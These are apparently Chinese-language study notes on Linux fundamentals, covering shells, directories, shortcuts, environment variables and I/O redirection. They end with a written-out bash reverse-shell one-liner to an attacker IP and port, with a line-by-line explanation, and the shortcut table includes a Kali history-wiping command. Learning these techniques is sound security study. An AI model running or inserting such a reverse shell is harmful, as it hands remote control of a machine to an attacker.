# Linux操作系统基础知识 # Linux操作系统基础知识 ## Linux系统结构 1. 内核 2. Shell 3. 文件系统 4. 应用程序 ### Linux操作系统内核 1. 管理进程 2. 管理内存 3. 管理驱动 4. 管理文件和网络 ### Linux Shell 功能:接收用户的命令,经过转换,交给内核执行 > cat —> open() read() 优点: - 简化操作 - 安全 #### Linux Shell工具 | 名称 | 程序路径 | 作者 | | ------------------ | ---------------------- | :------------: | | bourne Shell | /usr/bin/sh或/bin/sh | Stephen Bourne | | C Shell | /usr/bin/csh | Bill Joy | | K Shell | /usr/bin/ksh | David Korn | | Bourne Again Shell | /bin/bash | Brian Fox | | Z Shell | /bin/zsh或/usr/bin/zsh | Paul Falstad | > Windows:cmd、Power Shell ### Shell和Terminal ![](https://pic.imgdb.cn/item/64a4e0c21ddac507ccc5b805.jpg) ### Linux文件系统 **“一切皆文件”** | 查看文件 | 作用 | | -------------- | -------------------------------- | | lsof /bin/bash | 查找某个文件相关的进程 | | lsof -u root | 列出某个用户打开的文件信息 | | lsof -c redis | 列出某个程序进程所打开的文件信息 | | lsof -i tcp | 列出所有tcp 网络连接信息 | | …… | …… | ### Linux目录 ![](https://pic.imgdb.cn/item/64a4e2b61ddac507ccc939ec.jpg) ![](https://pic.imgdb.cn/item/64a4e2c21ddac507ccc94e54.jpg) ### 根目录文件 | 目录 | 作用 | 备注 | | ----- | ----------------------------------- | -------------------------------------------- | | bin | 存放普通用户可执行的指令 | 即使在单用户模式下也能够执行处理 | | boot | 开机引导目录 | 包括Linux内核文件与开机所需要的文件 | | dev | 设备目录 | 所有的硬件设备及周边均放置在这个设备目录中 | | etc | 各种配置文件目录 | 大部分配置属性均存放在这里 | | lib | 库文件存放地,bin和sbin需要的库文件 | 类似Windows的DLL | | media | 可移除设备挂载目录 | 类似U盘、光盘、移动硬盘等临时挂放目录 | | mnt | 用户临时挂载其他的文件系统 | 额外的设备可挂载在这里,相对临时而言 | | opt | 第三方软件安装目录 | 现在习惯性的放置在/usr/local中 | | proc | 虚拟文件系统 | 通常是内存中的映射,注意误删除数据文件的恢复 | | root | 系统管理员主目录 | 除root之外,其他用户均放置在/home目录下 | | run | 系统运行时所需文件 | 以前放在/var/run中,现在独立的/run目录 | | sbin | 只有root才能运行的管理指令 | 跟bin类似,但只属于root管理员 | | srv | 服务启动后需要访问的数据目录 | | | sys | 虚拟文件系统 | 跟proc一样,记录核心系统硬件信息 | | tmp | 存放临时文件目录 | 所有用户对该目录均可读写 | | usr | 应用程序放置目录 | | | var | 存放系统执行过程经常改变的文件 | | ### 用户主目录 主目录:home directory root用户的主目录是 /root 其他用户的主目录是 /home/用户名 将当前工作目录更改为当前用户的主目录:`cd 空格` 或者 `cd ~` 工作目录:working directory ### 目录指代 | 符号 | 指代 | | -------- | ------------------------------------------------ | | 绝对路径 | 由根目录 / 开始写起 | | 相对路径 | 从当前所在的工作目录开始写起 | | / | 根目录 | | . | 代表当前目录 | | ~ | 代表用户工作目录,vim ~/.bashrc | | ../ | 代表上一级目录 | | ../../ | 上上一级目录,以此类推,超出范围的时候代表根目录 | ## Linux常用操作 ### 命令帮助 ``` man command(manual)——具体参数和使用方法 whatis command——命令的简要说明 info command——详细介绍 help command——Linux内置命令 ``` ### 关机重启(root用户) 关机: ``` poweroff shutdown -h now halt -p ``` 重启: ``` reboot ``` ### 快捷键和命令 | 操作 | 作用 | | --------------------------- | ---------------------------------- | | Tab键 | 补全命令和目录(自动提示) | | 方向键 | 上一条命令:↑;下一条命令:↓ | | Ctrl + r | 搜索历史命令,回车执行 | | !cd: | 重复执行最近一次以cd开头的历史命令 | | Ctrl + Insert | 复制 | | Shift + Insert | 粘贴 | | Alt + Insert | 复制并粘贴 | | Ctrl + E | 光标移动到行尾 | | Ctrl + A | 光标移动到行首 | | Ctrl + K | 清除光标后至行尾的内容 | | Ctrl + U | 清除光标前至行首间的所有内容 | | clear | 清屏,但是命令都还在 | | history | 查看历史命令 | | history -c | 清除历史命令 | | kali:echo > ~/.zsh_history | 清除历史命令(kali Linux) | ### 别名配置alias 查看别名:`alias` 设置别名(以bash为例):`vim ~/.bashrc` 格式:`alias short='xxx;xxx'` 生效:`source ~/.bashrc` ### 通配符 | 符号 | 指代 | | ---- | -------------------------------- | | * | 任意字符 | | ? | 单个字符 | | [] | 匹配范围中的,比如[0-9][a-z] | | {} | 多个 ll {*.log,*.txt} | | ^ | 取反 ll*[^txt]* 查找不是.txt结尾 | ### 系统环境变量 环境变量是操作系统或应用程序提供的一种机制,用于存储和访问各种配置信息和运行时参数。它们对于操作系统和应用程序的正常运行非常重要,具有以下作用: 1. 配置应用程序:环境变量可以设置应用程序的配置参数,例如数据库连接字符串、日志级别、系统路径等。通过修改环境变量,可以轻松更改应用程序的行为和设置。 2. 系统路径设置:环境变量中的"PATH"变量定义了系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,操作系统会根据"PATH"环境变量的值来查找对应的可执行文件。这样,你可以在任何目录下直接运行系统中的命令。 3. 共享配置信息:环境变量可以用于共享配置信息和参数值。不同的应用程序可以使用相同的环境变量来获取共享的配置值,这样可以提高配置的一致性和可维护性。 4. 运行时参数传递:通过设置环境变量,可以在不修改代码的情况下传递运行时参数给应用程序。应用程序可以读取环境变量的值来确定其行为。 5. 系统定制化:环境变量允许用户对系统进行个性化定制。用户可以设置特定的环境变量来满足自己的需求,例如设置默认编辑器、语言环境、主题等。 查看全部变量:`env` 查看单个变量:`echo $XXX` 用户变量:`~/.bashrc` 系统变量:`/etc/profile` > 设置JDK环境变量 > > `vim /etc/profile` > > `export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74` > > `export PATH=$JAVA_HOME/bin:$PATH` > > `export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile` ## 文件描述符和重定向 ### 文件描述符 File Descriptor | ID | 描述 | 设备 | | ---- | ---------------------- | ------ | | 0 | 标准输⼊(stdin) | 键盘 | | 1 | 标准输出(stdout) | 显示器 | | 2 | 标准错误输出(stderr) | 显示器 | ### 重定向 在Linux中,重定向是一种将命令的输入或输出从默认的位置进行修改的方式。通过重定向,你可以将命令的输入重定向自文件,或将命令的输出重定向到文件或其他位置。 | 符号 | 类别 | | ---- | ----------------------------------- | | > | 输出重定向(覆盖) | | >> | 输出重定向(追加) | | 2> | 错误输出重定向 | | &> | 标准输出和错误输出合并重定向 | | < | 输入重定向 | | << | Here文档(Here Document)输入重定向 | | \| | 管道(pipe) | 1. 标准输出重定向(`>`):使用 `>` 将命令的输出重定向到文件中,覆盖原有内容。例如: ``` command > output.txt ``` 2. 标准输出追加重定向(`>>`):使用 `>>` 将命令的输出追加到文件末尾,而不覆盖原有内容。例如: ``` command >> output.txt ``` 3. 标准错误输出重定向(`2>`):使用 `2>` 将命令的错误输出重定向到文件中。例如: ``` command 2> error.txt ``` 4. 标准输出和错误输出合并重定向(`&>` 或 `>`):使用 `&>` 或 `>` 将命令的标准输出和错误输出合并重定向到文件中。例如: ``` command &> output.txt 或 command > output.txt 2>&1 ``` 5. 管道(`|`):使用 `|` 将一个命令的输出作为另一个命令的输入。例如: ``` command1 | command2 ``` 6. 标准输入重定向(`<`):使用 `<` 将命令的输入从文件中读取。例如: ``` command < file ``` 将 `file` 文件中的内容作为 `command` 的输入。 7. 标准输入重定向(`<`):使用 `<` 从标准输入(键盘)中读取数据,直到遇见分界符 `END` 才停止。例如: ``` command < END ``` 从标准输入(键盘)中读取数据,直到遇见分界符 `END` 才停止。 8. 标准输出和输入重定向(`<` 和 `>`):使用 `<` 将文件 `file1` 作为 `command` 的输入,并将 `command` 的处理结果输出到文件 `file2`。例如: ``` command < file1 > file2 ``` 将 `file1` 作为 `command` 的输入,并将 `command` 的处理结果输出到 `file2`。 9. 标准输入重定向和命令行参数结合使用(`<` 和 `<<`):使用 `<` 将文件 `test.txt` 作为输入,并使用 `wc -l` 命令统计文件中的行数。例如: ``` wc -l < test.txt ``` 统计 `test.txt` 文件中的行数。 10. 标准输入重定向和Here文档结合使用(`<<`):使用 `<<` 从标准输入(键盘)中读取数据,直到遇见分界符 `END` 才停止,并使用 `wc -l` 命令统计输入文本的行数。例如: ``` wc -l << END ``` 统计用户在终端输入的文本的行数,直到遇见分界符 `END` 才停止。 > bash反弹连接案例 > > `bash -i >& /dev/tcp/192.168.142.44/7777 0>&1` > > `bash -i `:在靶机打开交互式的Shell > > `/dev/tcp/192.168.142.44/7777 `:连接到攻击机IP端口 > > `>& `和 `&>`等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果 > > `0>&1`:左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令 > > 这条命令的作用:靶机的输入输出都到了攻击机上